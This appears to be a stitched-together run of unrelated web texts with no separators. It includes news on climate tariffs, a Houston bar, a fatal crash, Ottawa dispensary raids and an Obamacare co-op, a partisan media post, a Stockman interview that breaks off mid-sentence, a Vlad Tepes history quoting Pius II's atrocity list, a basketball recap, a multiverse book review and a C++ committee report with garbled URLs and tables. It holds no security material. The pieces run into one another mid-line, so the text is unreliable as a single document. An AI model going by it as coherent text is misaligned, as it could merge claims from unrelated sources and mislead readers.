Instead, with the election of Donald J. Trump — and his threat to withdraw the United States from the accord — shellshocked negotiators confronted potentially deep fissures developing in the international consensus on climate change. On the sidelines of the negotiations, some diplomats turned from talking of rising seas and climbing temperatures toward how to punish the United States if Mr. Trump follows through, possibly with a carbon-pollution tax on imports of American-made goods.
“A carbon tariff against the United States is an option for us,” Rodolfo Lacy Tamayo, Mexico’s under secretary for environmental policy and planning, said in an interview here. He added, “We will apply any kind of policy necessary to defend the quality of life for our people, to protect our environment and to protect our industries.”
Forcing United States industries to turn to cleaner energy sources with the hammer of an import tariff is not far-fetched. Countries imposing costs on their own industries to control carbon emissions could tell the World Trade Organization that United States industries are operating under an unfair trade advantage by avoiding any cost for their pollution.Greetings Citizens and Civilians, you’re tuned to episode 177 of Guard Frequency — the best damn space sim podcast ever! This episode was recorded on July 21st 2017 and released for streaming and download on Tuesday, July 25th 2017 at GuardFrequency.com
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In this week’s Squawk Box, we’re going to tell you all how to lose weight using this one weird trick! Next, we see what news from your favourite space sims has landed as we discover:
And finally, we tune into the Feedback Loop and let you join in on the conversation.
This Week’s Community Questions
SC: Are you concerned by any of the announced delays at CIG? Picking up a Cyclone for yourself?
E:D: What insect behaviour are you most afraid of that Frontier might use as “inspiration” during the Thargoid invasion? Any other historical villains you’d like to see replicated in the Bubble? Any ideas for pranks we could play on Frontier?
D:U: Have you stuck with Descent: Underground? Where do you see the company farther down the road?
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Check out the callsigns we use personally in each gameNew life on the horizon for Leon's Lounge, Houston’s oldest bar
This week plans for were made public for Leon’s Lounge, located in Midtown at 1006 McGowen, to return under new management. Leon's is Houston's oldest bar, opened way back in 1947.
See more of Houston's oldest bars and restaurants... less This week plans for were made public for Leon’s Lounge, located in Midtown at 1006 McGowen, to return under new management. Leon's is Houston's oldest bar, opened way back in 1947.
See more of Houston's oldest... more Photo: Bill Olive, For The Chronicle Photo: Bill Olive, For The Chronicle Image 1 of / 33 Caption Close New life on the horizon for Leon's Lounge, Houston’s oldest bar 1 / 33 Back to Gallery
Leon’s Lounge has been a favorite of Houston drinkers for decades and when it abruptly closed in late January it was a blow to the Bayou City bar scene.
This week plans for were made public for Leon’s Lounge, located in Midtown at 1006 McGowen, to return to Houston's nightlife under new management.
Duane Bradley, who owns The Davenport Lounge off Richmond near South Shepherd and another location in Clear Lake, announced that he and his business partner Jim DeFoyd have reached an agreement with Scarlett Yarborough, the owner of the Leon’s Lounge building and business name to reopen the bar.
If all goes to plan the bar should be open for business and slinging drinks on Sept. 1.
The bar closed in January after previous operator Pete Mitchell opted not renew his lease after five years of operation. Mitchell leased the bar and gave it a makeover that included new design, turntables and a stash of records and drinks a step or three above dive fare. It reopened in December 2010 and featured live music and local guest DJs during Mitchell's tenure.
Since January Yarborough has mulled over various options for the future of the bar. As Houston’s oldest bar it has years of history inside its walls.
“I’m thrilled that Jim and Duane are both aboard,” says Scarlett Yarborough. “I wouldn’t have done it with anyone else.”
The bar is just about a decade older than she is, making it almost like an older sibling to her.
“These guys are great partners and really have an eye for history and nostalgia,” Yarborough says.
Bradley said Tuesday that he was excited to reopen Leon’s, a bar that he had frequently quite a bit over the years with friends.
“We want to take it back to the best version of Leon’s, the era when Leon would have been operating it,” Bradley says. “We’re going to retile the floor, for starters, and we have a bunch of old pictures from the beginning of the bar’s life that we want to decorate with.”
“We won’t change a lot; we just want take it back to something lounge-y,” Bradley says.
The new-old Leon’s will serve simple, old-school cocktails according to Bradley. They won’t be serving food and there will be no TVs to be seen, he adds.
“I build my bars around conversation,” Bradley says. He expects it to dovetail nicely with the rest of the bars in the Midtown bar scene.
“People want good drinks and attention to detail,” he says. He expects to lean heavily into the local craft beer scene and serve various whiskies from around the country.
“We’re not competing with the craft cocktail folks, we’ll just have good drinks made right,” Bradley says.
The Leon’s Lounge that Bradley remembers best was when it was a dive bar in the purest sense of the term.
“I went there when it was seedy and rough,” Bradley says. “It was a sketchy place back when I was going.” He’s owned bars in Houston since the early ‘90s.
Yarborough’s favorite memories of the bar include her father, who died in late 1990, performing bar tricks and making random bets with patrons.
Yarborough’s father Leon originally bought the bar in 1947 soon after he returned home from World War II. He changed its name to Leon’s La Bomba. The name was later changed to Leon’s Lounge.
He was so good at gambling and playing cards that was able to raise money to buy the bar, his daughter says. At one point Leon was known locally as “The Mayor of McGowen” in fact.
DeFoyd himself used to play poker upstairs with the bar’s namesake, Bradley says, among other Houston luminaries.
At one point the front room of the bar was dominated by a large shuffle board. According to Yarborough the 1956 Texas state champion shuffleboard team practiced at the bar.
RELATED: La Carafe is rich with Texas history
Leon's retains the distinction of being Houston's oldest bar that wasn't a restaurant or ice house at birth.
West Alabama Ice House, on West Alabama of course, has been in operation since 1928, but it only serves beer and wine.
La Carafe, meanwhile, has been open since the '50s in Market Square but it happens to be housed in Houston's second-oldest building, previously a bakery among others things, which leads to some confusion. They serve beer and wine only.0 Legally blind man charged in fatal traffic accident
LEECHBURG, Pa. - Police are accusing a Leechburg man of driving a borrowed truck that hit and killed a woman in the borough in October even though they say he knew he is legally blind.
Michael Shaley, 58, was charged by Leechburg police Wednesday with the death of Linda Lucchino, 64.
Lucchino, a retired Apollo-Ridge School District librarian, was critically injured along Third Street while she was walking to a beauty shop on Oct. 6 for her weekly hair appointment.
She had surgery, was put on life support, and was in a nursing home when she died Dec. 11. Shaley is charged with vehicular homicide, involuntary manslaughter, careless driving and related offenses.
In an affidavit, police allege that Shaley knew he has bad eyesight and is legally blind but still drove his daughter's truck and struck Lucchino.
Police allege Shaley's eyesight is well below the state standard to drive. Police said medical records also show that a physician told him not to drive.
According to police, Shaley reported that he thought he hit something, but wasn't sure. So he got out of the truck and walked back to find a stricken Lucchino in the middle of the road.
He also allegedly told an officer that he didn't know where the woman was before striking her “due to the fact he is legally blind.”
Janice Vovaris, who runs the Leechburg hair salon where Lucchino was walking, said she remembers the day it happened.
“She came every Saturday faithfully at 9:30 in the morning,” Vovaris said. “It was just shocking. Up to this day it’s hard to believe.”
The affidavit said Shaley described for police the limitations of his eyesight, saying, “I can see the badge on your shirt.” The officer was 2 to 3 feet away. When asked by an officer if he could read letters on the side of a Lower Kiski Ambulance about 10 feet away, Shaley allegedly said, “No, I cannot see that far.” The officer said the letters are 6 to 8 inches tall.
Shaley was formally charged Wednesday afternoon. He was released in lieu of $100,000 non-monetary bond pending a preliminary hearing April 10.
Police said Shaley has no criminal record.
Channel 11's news exchange partners at TribLIVE contributed to this report.Municipal politicians in Ottawa are applauding the closure of a string of marijuana dispensaries operating illegally across the city in response to mounting complaints.
Police arrested nine people in seven raids this week.
Coun. Jody Mitic says he's happy illegal dispensaries are being targeted and closed down by police. (CBC) Jody Mitic, the councillor for Innes ward, said politicians had been "tightening the screws" on Ottawa police chief Charles Bordeleau to crack down on "bandits" selling unregulated products.
"You can't just open up a shop and start selling grandpa's moonshine," Mitic said.
"They're bandits setting up shop in this manner. We needed to show the people that, despite some of the confusion and the grey zones in the law right now, we're still going to enforce what's right and wrong."
The federal government has promised to introduce legislation to legalize marijuana by the spring of 2017 but possession, production and trafficking of marijuana remains illegal.
"Once it's legal and there are rules in place... we'll collect the taxes off it [and] we'll know a gram of marijuana is actual marijuana," Mitic said.
'There were community concerns'
Rideau-Vanier Coun. Mathieu Fleury said there were "community concerns" in his ward about the illegal dispensaries.
"These operations do not have a legal supply chain so they were supporting criminal gangs," he said.
Two marijuana shops in Fleury's ward — at 290 Montreal Rd and 358 Rideau St. — were shut down by police Friday morning.
Coun. Mathieu Fleury says two dispensaries in his ward were raided by authorities on Friday morning. (CBC)
Fleury said marijuana should be acquired legally — and Health Canada made it clear in a notice on Aug. 31 that dispensaries were not legal marijuana distributors.
"It's not a stance on users. It's not a stance on the legalization portion. It's really a stance on criminal gangs and criminal activity," he said.
Almost two dozen dispensaries in the city
River Coun. Riley Brockington said he has received numerous complaints about the marijuana dispensary in his ward — specifically about its location.
"It's across the street from a school, it's kitty-corner to a daycare, it's in a residential community. I do believe there are other appropriate areas for this location to operate," he said.
Though that dispensary was not raided, he said he's pleased direct action has been taken against some of the others. He said he's aware of nearly two dozen dispensaries across the city.
Brockington said he wants regulation around where marijuana shops are situated because he doesn't want them to set up close to schools or other dispensaries.
"Ultimately, if it's not spelled out in federal legislation next year, municipalities will have to pass regulations on where it can and cannot operate. My big hope is to engage the public and dispensary owners on the appropriate location," he said.
'A bit of a limbo period'
Mayor Jim Watson warned that until there is federal legislation in place, it's not prudent to open a marijuana dispensary.
"Right now, the federal government only allows the delivery of marijuana from certain registered spots around the country and they don't recognize these pot dispensaries because we don't know where the product comes from, how safe it is and we certainly don't want them showing up in neighbourhoods or next to schools," he said.
Watson said that while he supports the crack down on dispensaries, it's now up to the courts to determine if the operations were illegal.
"The reality is, we're in a bit of a limbo period because the federal government has announced that they're going to legalize the use of marijuana but we don't know what kinds of controls that are going to be put in place. And there have to be some quite strict controls so that people underage and so on are not accessing marijuana," he said.
Remaining dispensaries 'on notice'
Ottawa Police Chief Charles Bordeleau said Friday that the raids were the result of long investigations — and emphasized that dispensaries that weren't raided should be "on notice." He added he hoped the remaining dispensaries "close down on their own accord."
Neal Hanniman says his dispensary has strict rules about who can purchase marijuana and how. (CBC)
But Neal Hanniman, who co-owns the Ottawa Cannabis Dispensary believes his shop was not raided because of its "strict policies and procedures," including only selling to customers with official prescriptions.
"If you don't have a medical prescription we do not sell to you. And if you're under the age of 19, we require that you come in with your guardian," Hanniman said.
"The police went and arrested people or places that they believe to have committed criminal offences. They see what we do and how we're doing it. The proof is in the pudding... they're not here today, knock on wood."The Boy Scouts are considering making a change in their current policy which bans openly gay scouts and leaders. In covering this issue, Fox News has provided analysis that looks at both sides of the issue. However, as Media Matters points out, the Fox reporter providing the back story advances the bogus right wing connection between homosexuality and pedophilia. What is also interesting is that all the segments (Bret Baier's Special Report, America's Newsroom, Happening Now) show commentary from Rob Schwarzwalder, the vice-president of the Family Research Council which the SPLC has designated as a hate group for its virulently anti-gay beliefs and statements such as one that Schwarzwalder made for one of Baier's segments. Just because the Fox propaganda isn't immediately discernible doesn't mean that it's not there!
Schwarzwalder claimed that "this isn't about homophobia or anything resembling that" and then goes on to say that because their bible teaches them that homosexuality is immoral, they don't want their sons "mentored by gay men." Not about homophobia? Really?
The panel discussion is interesting in that while Tucker Carlson says he's "for gay rights," he thinks the media is making too much of a big deal out of the Boy Scout thing.Sen. Rob Portman (R-Ohio) released a letter to the Obama administration on Thursday asking what it will do to help Ohioans who received coverage from a failed Obamacare co-op.
Last month the nonprofit co-op InHealth announced that it would be liquidated and taken over by the state. It provided health coverage to about 22,000 state residents. In his letter, Portman said those enrollees now must choose between getting new insurance and starting over paying a new deductible, or paying the tax penalty for not having health insurance.
Those enrollees “were encouraged by the administration to enroll in the Obamacare marketplace in the first place. Now they have to find new insurance or risk paying a penalty to the IRS. Worse, many of them have already paid high deductibles for their CO-OP coverage, yet they are about to lose credit for those payments and incur more out-of-pocket costs if they chose a new insurance plan mid-year,” Portman wrote. “That’s just not fair, and the administration owes these Ohio families a solution to a problem it created.”
More than half of the nonprofit co-op insurers created under the Affordable Care Act have failed. In March, the Senate Permanent Subcommittee on Investigations, which Portman chairs, released a report examining what led to the shuttering of the co-ops. These failures have become a popular talking point among Republicans determined to repeal and replace Obamacare.
The co-ops were established as an alternative to a public option on exchanges, which couldn’t get enough Democratic support to become law. The hope was that nonprofit insurers would provide competition to private insurers, keeping costs lower.
However, a series of factors led to the co-ops paying out more in claims than they were making in premiums, causing more than a dozen to close. All insurers on the Affordable Care Act exchange say they initially charged too little in premiums, underestimating how much it would cost to cover newly-insured enrollees. A key difference between private insurers and the co-ops, however, is the co-ops were startups and didn’t have any previous profit to fall back on.
In Ohio, according to Portman’s letter, the Department of Health and Human Services has told InHealth enrollees that they can obtain alternative coverage immediately. However HHS has not given any assurance the deductibles paid towards their InHealth plans will be “honored or reimbursed.” This means enrollees would have to start paying out of pocket for their healthcare all over again, regardless of how close they were to reaching their deductible under the old plan.
HHS has also said enrollees they can keep the InHealth coverage as the state assumes responsibility for it. But the agency then told Portman’s office that the plan no longer meets the definition of “minimal essential coverage” under Obamacare. This means these enrollees who choose to keep their co-op plan would have to pay the fine for not having health insurance. They also would lose any subsidies for premiums under the co-op plan.
“In short, Ohioans who trusted in the Obamacare marketplace now find themselves between a regulatory rock and financial hardship,” Portman wrote.
HHS aides weren’t immediately available for comment.David Stockman has become every major news organization's (and CNBC) go to critic when it comes to bashing each stupid idea currently preoccupying the DC C-grade soap opera artists. Obviously, at the current time this would mean the budget deficit and the debt ceiling. On both those issues, Stockman's position is well-known. Today, when asked by Bloomberg's Tom Keene to compare the current deficit with that of Reagan's, Stockman spares no praise: "The essential distinction is that we had a clean balance sheet then - $1 trillion of national debt. Today we have $14 trillion in national debt. We have used up all the runway, so to speak. We have piled our national balance sheet with so much debt that the government is at the very edge of a huge solvency crisis that isn't going to be addressed unless both parties dramatically change their position, and I see no sign of it. So we're going to have a gong show." Stockman also opines on the Monetary Roach Hotel that the US debt has become: "We have not had a two-way bond market. We have had a rigged market that has been dominated by not just the Fed, but all the central banks. Today over half of the $9 trillion in publicly-held debt is in central bank vaults. I call it the 'Monetary Roach Hotel.'" Lastly, on a proposal endorsed by Zero Hedge back in the summer of 2009, namely the introduction of a Tobin tax for Wall Street's high-frequency casino: "Wall Street needs to have a transaction tax. I know they won't like it. A tax on every trade, a small amount, would go a long way to putting money in the coffers." As usual: absolutely spot on recommendations, which have little to no chance of occurring before the final bond crash finally takes away the multiple-use heroin needle from both DC and Wall Street.
Stockman on what's different regarding the deficit under Obama vs. Reagan:
"The essential distinction is that we had a clean balance sheet then - $1 trillion of national debt. Today we have $14 trillion in national debt. We have used up all the runway, so to speak."
"We have piled our national balance sheet with so much debt that the government is at the very edge of a huge solvency crisis that isn't going to be addressed unless both parties dramatically change their position, and I see no sign of it. So we're going to have a gong show. Year after year after year of these debt ceiling crises, maybe they will be solved for a month or two, and then we will go right to the next."
Stockman on the deficit to GDP ratio:
"When this all started, it was 30% national debt to GDP. Now, effectively what's built in will take us as close to 100% within a matter a couple years. That is baked into the cake and cannot be stopped."
"I think the more important thing is the annual deficit to GDP. It should be a balance over the cycle, but we have not had any balance over the cycle for decades…We were petrified in 1982 when the deficit went to 6%, the highest ever seen. Reagan, although he is known as a great tax cutter, signed a huge tax increase bill in 1982 at the bottom of the worst recession that we'd had up until then and raised taxes by the tune of 1.5% of GDP."
On the issues with the current market:
"We have not had a two-way bond market. We have had a rigged market that has been dominated by not just the Fed, but all the central banks. Today over half of the $9 trillion in publicly-held debt is in central bank vaults. I call it the 'Monetary Roach Hotel.' Bonds go in and never come out. If the central banks stopped buying the debt, which will happen with the end of QE2, then we're going to get back into a real investor's market, a two-way market where some people don't believe that Congress and the White House have the capacity to deal with our problems. I think then we run the risk that we'll get real pricing on the debt, which has to be a lot more than 3%."
On how the debt ceiling debate will be resolved:
"I do not know that there's any process that can solve it. We're so far down the road here that I think it will take a thundering conflagration in the global bond market to wake up the process and get people out of their positions...Look at the current White House. We had Geithner last night saying, you don't dare not raise the debt ceiling, but the policy of this administration is de facto default. They have a war budget as big as Bush ever had, therefore, extending 75% of the Bush tax cuts. The only thing they have objected to is the 2% risk."
On why we should care about the debt ceiling:
"I do not think we should care about the debt ceiling, because they will extend it when push comes to shove at the 11th hour after a lot of smoke and mirrors and tricks have been played...What we should care about is the fact that we're borrowing $6 billion every business day. Both parties have taken fiscal positions that will not even begin to close the gap. Both parties are simply aligned, deceiving the public that there will not be sacrifice. There will be. Tax increases across the board for the entire middle class, not just the rich."
Stockman on whether the tax base needs to be broadened:
"I think bring the tax base or have new tax revenue sources. We are in a stage where I think a tax on imported oil might be one way to get two birds with one stone. Revenue into the coffers of the Treasury and also some incentive for more conservation, domestic production, and |
gypsies to secure their property. In order to strike terror into Mohammed II, he crossed over into Bulgaria, defeated the Turks, and brought back with him 25,000 prisoners, men, women, and children, whom he is said to have impaled upon a large plain called Praelatu. Notwithstanding his successes, however, Vlad was at length compelled to submit to the Turkish rule, and he concluded the ‘ Second Capitulation ‘ at Adrianople (1460), in which the tribute to the Porte was increased, but no other important change was made in the terms of suzerainty (Samuelson, 1882, p161).
In the end, Vlad Tepes was fighting a losing battle, mostly because he was the only one even trying to fight. The insane bloodlust probably helped to stave off the inevitable for a little while, until the Ottomans figured out that they just needed to use their vastly superior military might and roll up the entire Balkans, which they did by the 1480’s and Wallachians realized that their life expectancy was remarkably short as long as Vlad Tepes was around contemplating new ways to torture, dismember, boil, or roast them for giggles. The Wallalchian nobles ended up conspiring with the Ottomans to kick out Vlad, who fled to Hungary, where he was imprisoned (Matthew Corvinus, King of Hungary had been spending the Pope’s crusade money on liquor and prostitutes with no intention of helping Vlad in his crusade), which was easier than admitting the financial improprieties he was guilty of. Eventually, the Ottomans got their hands on him (after a brief re-instatement to the throne of Wallalchia in 1475, which his pro-Ottoman brother Radu had been installed in), beheaded him, and sent his noggin to Constantinople as a trophy. Meanwhile King Corvinus, still covering up the fact that he hadn’t sent any troops against the Turks, and had spent all the Pope’s money, started encouraging propaganda (sort of, since the truth is Vlad did actually love impalement and killed tens of thousands of people in rather disturbing ways) describing the vicious and un-christian behaviors of Vlad Tepes. Popular pamphlets and manuscripts circulated throughout the Holy Roman Empire detailing the gruesome exploits of Vlad. Pope Pius II eventually caught wind of the change in attitude towards his Wallachian hitman, with whom he had previously had a chummy relationship, and by the time he got around to writing his Commentaries (the only autobiography ever written by a Pope, although written in third person), he had completely disavowed the Wallachian Prince, despite the fact that it was Pius’ call for an all out holy war against the Ottomans that both motivated Vlad in the first place (although maybe he was just hanging around waiting for a good excuse to shed gallons of blood), and originally inspired the admiration of the Pope for Vlad’s exuberant defense of Christendom. Not sure why he winds up referring to both Vlad and his father as “John Dragula” – maybe that’s what his close friends called him.
We must now go on to describe the atrocious infamy and monstrous nature of John Dragula, whose crimes are so notorious among the Wallachians whom he governed that no tragedy could surpass them. The Wallachians live beyond the Danube between the Euxine and the districts today called Transylvania where there are seven German-speaking cities. The Wallachians speak Italian, but an imperfect, corrupted Italian. Some think that once Roman legions were sent there against the Dacians who used to inhabit these lands and that these legions were commanded by a certain Flaccus from whose name they were called first Flacci and then with a change of letters Valachi. Their descendants, as has been said above, became more barbarous than the barbarians. In our day they were governed by Dragula, a man of fickle and inconstant character. In the year of the Incarnate Word 1456, because he had deserted to the Turks, John Hunyadi, regent of the kingdom of Hungary, after conquering him in war, took him captive and put him to death together with his second son. A certain Ladislas was put in his place to rule over the Wallachians. Dragula’s other son named John escaped the regent’s clutches and soon after, having gathered an army, slew Ladislas, regained much of his paternal inheritance and put to a cruel death all who had been opposed to himself and his father. He invaded the province of Cibinium and burned many farmhouses with all their occupants. A great number of men were taken in chains to Wallachia and there impaled on stakes. Traders who were crossing through Wallachia with precious merchandise, induced to do so by promises of safe-conduct from the state, he plundered of their goods and killed. He had four hundred boys brought from Vurcia on the pretext of having them taught the Wallachian language and shut them up in a furnace where they were burned to death. The nobler men of his race and those who were most nearly akin to him he killed together with their wives and children. Some of his household he had buried naked up to the navel and then riddled with arrows; some he had skinned. For a certain Daym, son of another Daym, the Voivode whom he took in war, he built a tomb while he was still alive and ordered the priests to chant the burial service; when they had finished he beheaded the prisoner. Fifty-three ambassadors who had been sent to him by the Siculi and Transsylvanians he imprisoned. Then he invaded their lands which had no fear of any hostile move, and ravaged them with fire and sword. Ceilinus,” the captain of his own troops, he impaled because he refused to satisfy his monstrous cruelty. He burned at the stake six hundred men of Vurcia who fell into his hands as they were crossing to an adjoining province. A certain Zeganurus who had refused to hang with his own hands a thief who had been caught, he boiled in a great kettle and served him up as a banquet to his fellow-citizens. He tore sucking babes from their mothers’ breasts and before their eyes dashed them upon the rocks. Entering the province of Transylvania he summoned as his friends all the Wallachians who lived there and when they were all gathered he let loose his soldiers and killed them and burned all their farms. By these methods he is said to have murdered more than 30,000 persons (Pius II, Commentaries, Book XI).
Just a few years earlier, Pope Pius II couldn’t get enough of Vlad Tepes. You just can’t trust anybody to have your back. Even popes. The Catholic Church has always had a sort of logistical problem. They’re supposed to defend the faith, but it would be unseemly to have a great big standing army of commando monks. So, historically, they’ve had to rely on some questionable folks to uphold their theological perspective on geopolitics, up to and including, bloodsucking fiends from hell. Somebody’s got to do the dirty work, or the ruling powers don’t take you seriously and dismiss your temporal authority, evidenced in Joseph Stalin’s catty remark, “The Pope? How many divisions has he got?”
References
Bevan, Wilson Lloyd. The World’s Leading Conquerors: Alexander the Great, Caesar, Charles the Great: the Ottoman Sultans, the Spanish Conquistadors, Napoleon. New York: H. Holt and company, 1913.
Florescu, Radu R. & McNally, Raymond T. Dracula, Prince of Many Faces. New York, NY: Hachette, 1989.
Miller, William, 1864-1945. The Balkans: Roumania, Bulgaria, Servia, And Montenegro. New York: G. P. Putnam’s sons; [etc.,etc.], 1896.
Pius II, Pope, 1405-1464. The Commentaries of Pius II. Northampton, Mass.: Dept. of history of Smith College, 1937.
Samuelson, James, b. 1829. Roumania Past And Present. London: Longmans, Green, 1882.
Setton, Kenneth M. 1914-1995. A History of the Crusades v.6. [Philadelphia]: University of Pennsylvania Press, 1955.LINCOLN, Neb. -- Terran Petteway scored 26 points to lead five Nebraska players in double figures, and the upstart Cornhuskers defeated Penn State 80-67 on Thursday night for their fourth straight win and seventh in nine games.
Nebraska (15-10, 7-6 Big Ten) has won four straight conference games for the first time since 1998-99 and has matched its victory total of last season. The Huskers are over.500 in the Big Ten for the first time since joining the league in 2011.
D.J. Newbill and Tim Frazier scored 17 points each for Penn State (13-14, 4-10) has lost four of its last five after winning three straight.
Shavon Shields had 13 points before fouling out with 3 minutes to play, Walter Pitchford and Ray Gallegos added 11 apiece and Tai Webster had 10 in the win.
For the Huskers, the question Thursday was how they would respond to their nine-point win at then-No. 9 Michigan State on Sunday. That victory was Nebraska's first on the road against a ranked opponent since 2008, and it sparked talk about the Huskers perhaps making a run at their first NCAA tournament appearance since 1998.
The Huskers led from start to finish against a Penn State team that had beaten them 58-54 in State College, Pa., on Jan. 23.
About the only negative to come out of the game for Nebraska was an injury to Pitchford. The 6-foot-10 forward, who averages nine points and is the team's top 3-point shooter, went out with 8:02 to play after Penn State's Donovon Jack crashed into his left leg.
The game had little flow and devolved into a free-throw shooting contest. In the middle of the second half, after yet another stoppage, a voice in the sellout crowd of 15,797 cried out "No more fouls!"
The teams combined for 51 fouls. Five technical fouls were called, four on Penn State. Nebraska made 37 of 48 free throws and the Nittany Lions hit 17 of 23.
Penn State's Brandon Taylor was ejected with 15:18 left after committing his second technical foul. Taylor and Nebraska's David Rivers each got technicals for scuffling.
A couple minutes earlier, Penn State coach Patrick Chambers received a technical for arguing.
The Huskers used runs of 12-4 and 9-0 to build a double-digit lead in the middle of the first half, and they led 39-27 at the break despite making only one field goal the last 8:35. Penn State shot 25.8 percent the first 20 minutes and 34.9 percent for the game. The Nittany Lions' only worse first-half effort was 24.1 percent the first time the teams met.
Nebraska has held its last four opponents to 35.6-percent shooting and an average of 56.3 points.Does the idea of parallel universes really describe reality? (Image: NASA/JPL-Caltech/S. Stolovy (Spitzer Science Center/Caltech)
In Our Mathematical Universe Max Tegmark tries hard to make the seemingly outlandish theories of multiverses sound almost obvious and unavoidable
SOME years ago, the philosopher David Hull wrote a book entitled Science as a Process, in which he argued that science works through an evolutionary process. Imaginative scientists toss out ideas and hypotheses, creating and maintaining the equivalent of natural variation in biological populations. Then other scientists test those ideas, using evidence and logic to select out and eliminate the ones that don’t measure up. Variation and selection, repeated: that’s a form of evolution.
But there is a condition. This only works properly with a diversity of personalities and specialisms among scientists. Research would get nowhere if it were driven solely by the dour, hard-boiled sceptics who only believe on the basis of solid evidence. The sceptics feed off the raw creative material of the speculators, who imagine what might be possible and never stop dreaming about “what if”. The speculators produce the diversity of ideas on which selection can act, and they require, in turn, the discipline of sceptics to stop them from running away into fantasy.
And yet fantasy is the very word that occurs to many – including some physicists – when they hear some of the ideas popular in cosmology, a discipline which aims to answer the big questions about the origins of the universe.
The fantasy trajectory started off gently enough when physicist Alan Guth proposed that many puzzling features of the observable universe – such as the extremely homogeneous distribution of matter within it – would be explained if the universe had undergone a short, early period of rapid expansion, termed inflation. Extremely rapid, as in expanding in volume by a factor of 1078 in a time of 10-30 seconds.
Since then, other inflationary cosmologists have opened the speculative throttle so fully that physicists now talk routinely of such things as an infinitude of parallel universes, or a “multiverse”. In the multiverse, every conceivable world exists, and individuals identical to you and I live out parallel lives in places we cannot have access to.
Is this still science? Or has inflationary cosmology veered towards something akin to religion? Some physicists wonder. The enthusiasts, of course, see it very differently. Max Tegmark, a physicist at the Massachusetts Institute of Technology, certainly does. His new book, Our Mathematical Universe, is an impassioned defence of the theory, especially its implications for parallel universes.
The book is an excellent guide to recent developments in quantum cosmology and the ongoing debate over theories of parallel universes. Tegmark tries hard to make the seemingly outlandish sound almost obvious and unavoidable, and offers a taxonomy to help organise a zoo of imagined parallel universes.
Max Tegmark tries hard to make the seemingly outlandish sound almost obvious and unavoidable
As it turns out, the terms parallel universes and multiverse mean many things to different people. But Tegmark’s taxonomy of parallel universes are all, he argues, implied by observed evidence and the laws of physics.
His first set, the Level I Multiverse, refers to an idea that many cosmologists already accept. Rapid early inflation would have created what Tegmark describes as “universe-sized parts of space so far away from us that light from them hasn’t had time to reach us”. These other domains – or “universes” – could well exist, although we currently have no observational evidence for them.
Tegmark’s Level II Multiverse refers to a bolder idea, championed by physicist Alexander Vilenkin and others. There may be other domains of space also created by inflation that are too far away to see. These will forever remain out of our reach because continuing inflation drives them from us faster than the speed of light. This idea refers to real, distinct, physical universes that cannot ever be observed.
At this point in the taxonomy, however, Tegmark leaves cosmology behind. In reading, I began to feel that his aim is to see parallel universes in as many places as he can. Enter the Level III Multiverse. This turns out to be a language for talking about the mathematics of quantum theory using the many worlds interpretation of that theory, first proposed by physicist Hugh Everett in the 1950s.
This interpretation describes all physical processes as part of an ongoing, perpetual branching of the universe into many other universes. It is indeed possible to interpret quantum theory this way, but readers should know that many other interpretations, equally in tune with observations, don’t invoke the idea of parallel universes at all.
Then there is the Level IV Multiverse. Again, this has nothing to do with cosmology, but is an ambitious thought about mathematics. Tegmark argues that reality isn’t simply described by mathematics, as most physicists readily accept, but that it is, in fact, mathematical.
Reality isn’t simply described by mathematics, as physicists accept, but is, in fact, mathematical
Furthermore, he believes that the mathematics of our universe is just one of an infinity of conceivable mathematical structures. He goes on to wonder: if this mathematical structure is a universe, why not all the others? And so he makes a bold claim – that all other mathematical structures should also exist physically as further parallel universes.
Of course, we don’t really know. The history of science ought to have taught us that just because something sounds unbelievable, it doesn’t mean it is. Human history, after all, is one long progression of people being surprised by what they previously thought was impossible. Isolated tribes learned of other islands and continents, and of the other peoples living there, for example. In modern times we learned of other planets, galaxies, clusters of galaxies and so on. Why not universes? It might even feel quite natural for our universe to just be one of many, especially in the sense of the Level I Multiverse.
Even so, there does seem to be something a little questionable with this vast multiplication of multiverses. While the notion of the Level I Multiverse at least makes contact with real physics and possible evidence, it isn’t clear that any of these other ideas ever could. Multiverse champions seem quite happy, even eager, to invoke infinite numbers of other universes as mechanisms for explaining things we see in our own universe. In a sense, multiverse enthusiasts take a “leap of faith” every bit as big as the leap to believing in a creator, as physicist Paul Davies put it in an article in The New York Times.
In the end, this isn’t science so much as philosophy using the language of science. “Inflation”, Tegmark notes, “is the gift that keeps on giving, because every time you think it can’t possibly predict something more radical than it already has, it does.”
This quote is a good example of Tegmark as a creative, speculating scientist, churning out radical ideas as rapidly as possible. It suggests that prediction alone is the point and measure of science, whether or not those predictions turn out to be true.
But all writers overstate their position on occasion, and uninhibited speculation is only one side of Tegmark’s brand of science. Much of his early work, which built his reputation as a physicist, wasn’t of this kind at all. It was hard, empirical stuff, developing methods for analysing data from large-scale telescope projects to measuring fluctuations in the cosmic microwave background.
Perhaps this book is proof that the two personalities needed for science – the speculative and sceptic – can readily exist in one individual.
Our Mathematical Universe: My quest for the ultimate nature of reality Max Tegmark Allen LaneThe View (or trip report) from the Nov 2010 C++ Standard meeting | | Visits (12929)
Our mission, though somewhat less grand then the fate of cosmology, was to decide what to do about several controversial matters which were well known and well summarized in Anthony Williams blog:
http ://w ww.j usts oftw ares olut ions.co. uk/c plus plus /cpl uspl us-s tand ards -com mitt ee-m aili ng-o ctob er-2 010. html
Recall in my last report that we hardly have any controversy in the August Rapperswil meeting. While that was not intentional, it merely reflected the process of National Body Comments in response to the Final Committee Draft. At Rapperswil, our first chance of seeing the NB comments meant we were very busy with triaging the comments, placing them immediately into specific categories of response types, sending them to the proper working groups, but also addressing basic ones, or ones that were obvious or non-controversial. Here is a breakdown of what was done in the August meeting.
In total, 519 comments were received. To date, 257 have been accepted as proposed, 18 have been accepted with modifications, 84 have been rejected, and 140 remain to be addressed. The detailed breakdown:
Unre solv e d Acc epte d Mod ifie d Rej ecte d Tot a l CWG 8 72 4 39 123 LWG 123 28 5 25 181 editor 19 167 9 20 215
CWG is Core Working Group. LWG is Library Working Group. The tag editor means the comment was editorial and can be addresed by the project editor, Pete Becker.
A summary of the NB comment status can be found in this document:
http ://w ww.o pen- std. org/ jtc1 /sc2 2/wg 21/d ocs/ pape rs/2 010/ n316 2.ht ml
There is also the believe that if we are to ratify a Standard in March 2011, then we need to deal with all major controversy in this meeting, whether we were near the Windy City or not politically. Some might even be cynical, and see this as the last opportunity to push through any last minute features. The reality as always is more complex.
What is happening to the C++ Standard is very similar to software delivery. The only difference is that we deliver a document of words, instead of bits and bytes. Well, at the most fundamental level, it is all bits and bytes. In some waterfall software development cycle, there is an integration stage whereby all the new features are brought together for the first time to see how they work together, and with legacy code. It is in this integration stage that the C++ Standard is grinding through. Just as in software delivery, there are always bugs that are found during this stage which requires serious deliberation.
